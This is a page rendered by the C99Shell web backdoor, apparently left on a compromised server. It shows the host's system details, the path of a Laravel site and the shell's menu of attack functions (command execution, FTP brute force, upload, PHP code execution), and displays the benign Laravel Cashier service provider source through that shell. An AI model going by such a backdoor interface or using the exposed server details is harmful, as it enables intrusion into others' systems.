!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/laravel/cashier/src/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CashierServiceProvider.php (4.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Cashier;

use 
Illuminate\Support\Facades\Route;
use 
Illuminate\Support\ServiceProvider;
use 
Laravel\Cashier\Console\WebhookCommand;
use 
Laravel\Cashier\Contracts\InvoiceRenderer;
use 
Laravel\Cashier\Invoices\DompdfInvoiceRenderer;
use 
Stripe\Stripe;
use 
Stripe\Util\LoggerInterface;

class 
CashierServiceProvider extends ServiceProvider
{
    
/**
     * Bootstrap any package services.
     *
     * @return void
     */
    
public function boot()
    {
        
$this->registerLogger();
        
$this->registerRoutes();
        
$this->registerResources();
        
$this->registerMigrations();
        
$this->registerPublishing();
        
$this->registerCommands();

        
Stripe::setAppInfo(
            
'Laravel Cashier',
            
Cashier::VERSION,
            
'https://laravel.com'
        
);
    }

    
/**
     * Register any application services.
     *
     * @return void
     */
    
public function register()
    {
        
$this->configure();
        
$this->bindLogger();
        
$this->bindInvoiceRenderer();
    }

    
/**
     * Setup the configuration for Cashier.
     *
     * @return void
     */
    
protected function configure()
    {
        
$this->mergeConfigFrom(
            
__DIR__.'/../config/cashier.php''cashier'
        
);
    }

    
/**
     * Bind the Stripe logger interface to the Cashier logger.
     *
     * @return void
     */
    
protected function bindLogger()
    {
        
$this->app->bind(LoggerInterface::class, function ($app) {
            return new 
Logger(
                
$app->make('log')->channel(config('cashier.logger'))
            );
        });
    }

    
/**
     * Bind the default invoice renderer.
     *
     * @return void
     */
    
protected function bindInvoiceRenderer()
    {
        
$this->app->bind(InvoiceRenderer::class, function ($app) {
            return 
$app->make(config('cashier.invoices.renderer'DompdfInvoiceRenderer::class));
        });
    }

    
/**
     * Register the Stripe logger.
     *
     * @return void
     */
    
protected function registerLogger()
    {
        if (
config('cashier.logger')) {
            
Stripe::setLogger($this->app->make(LoggerInterface::class));
        }
    }

    
/**
     * Register the package routes.
     *
     * @return void
     */
    
protected function registerRoutes()
    {
        if (
Cashier::$registersRoutes) {
            
Route::group([
                
'prefix' => config('cashier.path'),
                
'namespace' => 'Laravel\Cashier\Http\Controllers',
                
'as' => 'cashier.',
            ], function () {
                
$this->loadRoutesFrom(__DIR__.'/../routes/web.php');
            });
        }
    }

    
/**
     * Register the package resources.
     *
     * @return void
     */
    
protected function registerResources()
    {
        
$this->loadViewsFrom(__DIR__.'/../resources/views''cashier');
    }

    
/**
     * Register the package migrations.
     *
     * @return void
     */
    
protected function registerMigrations()
    {
        if (
Cashier::$runsMigrations && $this->app->runningInConsole()) {
            
$this->loadMigrationsFrom(__DIR__.'/../database/migrations');
        }
    }

    
/**
     * Register the package's publishable resources.
     *
     * @return void
     */
    
protected function registerPublishing()
    {
        if (
$this->app->runningInConsole()) {
            
$this->publishes([
                
__DIR__.'/../config/cashier.php' => $this->app->configPath('cashier.php'),
            ], 
'cashier-config');

            
$this->publishes([
                
__DIR__.'/../database/migrations' => $this->app->databasePath('migrations'),
            ], 
'cashier-migrations');

            
$this->publishes([
                
__DIR__.'/../resources/views' => $this->app->resourcePath('views/vendor/cashier'),
            ], 
'cashier-views');
        }
    }

    
/**
     * Register the package's commands.
     *
     * @return void
     */
    
protected function registerCommands()
    {
        if (
$this->app->runningInConsole()) {
            
$this->commands([
                
WebhookCommand::class,
            ]);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--